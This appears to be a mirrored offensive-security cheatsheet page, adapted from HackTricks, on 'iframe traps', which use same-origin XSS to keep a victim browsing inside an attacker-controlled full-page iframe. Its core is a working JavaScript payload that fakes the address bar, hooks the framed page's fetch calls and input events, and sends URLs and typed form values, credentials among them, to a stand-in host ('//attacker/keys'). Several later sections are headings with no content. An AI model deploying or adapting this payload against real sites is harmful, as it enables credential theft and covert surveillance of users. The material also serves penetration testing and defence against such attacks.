repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
iframe-traps.mdMarkdown121 lines7.7 KiBsource raw download

title: "Iframe Traps" section: "Web Pentesting" sectionSlug: "pentesting-web" sourcePath: "src/pentesting-web/iframe-traps.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/iframe-traps.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0"#

Iframe Traps#

Basic Information#

This technique abuses same-origin XSS to keep code execution alive while the victim keeps browsing the application. The classic write-ups were published by TrustedSec here and here.[1][2]

The idea is to land the victim on a page vulnerable to XSS and then trap the rest of their navigation inside a full-page iframe. If the victim keeps clicking links, submitting forms, and moving through the application inside the frame, the original attacker-controlled page stays alive in the top window and can keep collecting data.

To make the illusion more realistic, the top page can mirror the iframe path into the browser address bar with history.replaceState() and update the visible UI so the victim believes they are just moving normally across the app.

https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png

https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png

Once the user is trapped, the payload can observe navigation, form submissions, typed credentials, XHR/fetch traffic, and any same-origin storage available to the framed routes.

The main limitation is still escape: if the victim closes the tab, switches to another URL, or reaches browser chrome actions that the page cannot suppress, the trap is over.

Practical requirements & limitations#

Modernised trap (2024+)#

Full-viewport iframe trap with SPA hooks
<script>
if (window.top === window.self) {
  const trap = document.createElement('iframe');
  trap.src = '/'; // or another same-origin route inside the application
  trap.style = 'position:fixed;inset:0;border:0;width:100vw;height:100vh;z-index:2147483647;background:#fff';
  document.body.appendChild(trap);

  const sync = u => {
    const x = new URL(u, location.origin);
    history.replaceState({}, '', x.pathname + x.search + x.hash);
  };

  trap.addEventListener('load', () => {
    const w = trap.contentWindow;
    const d = w.document;

    ['click', 'submit', 'popstate', 'hashchange'].forEach(ev =>
      w.addEventListener(ev, () => sync(w.location.href), true)
    );

    const oldFetch = w.fetch;
    w.fetch = (...args) => {
      fetch('//attacker/log', {method:'POST', body:'fetch=' + encodeURIComponent(args[0])});
      return oldFetch.apply(w, args);
    };

    d.addEventListener('input', ev => {
      if (!ev.target.name) return;
      fetch('//attacker/keys', {
        method: 'POST',
        body: new URLSearchParams({
          page: w.location.href,
          name: ev.target.name,
          value: ev.target.value
        })
      });
    }, true);
  });
}
</script>

Overlay & skimmer usage#

Recent chaining ideas#

Quick OPSEC tips#

Clickjacking

Iframes In Xss And Csp

References#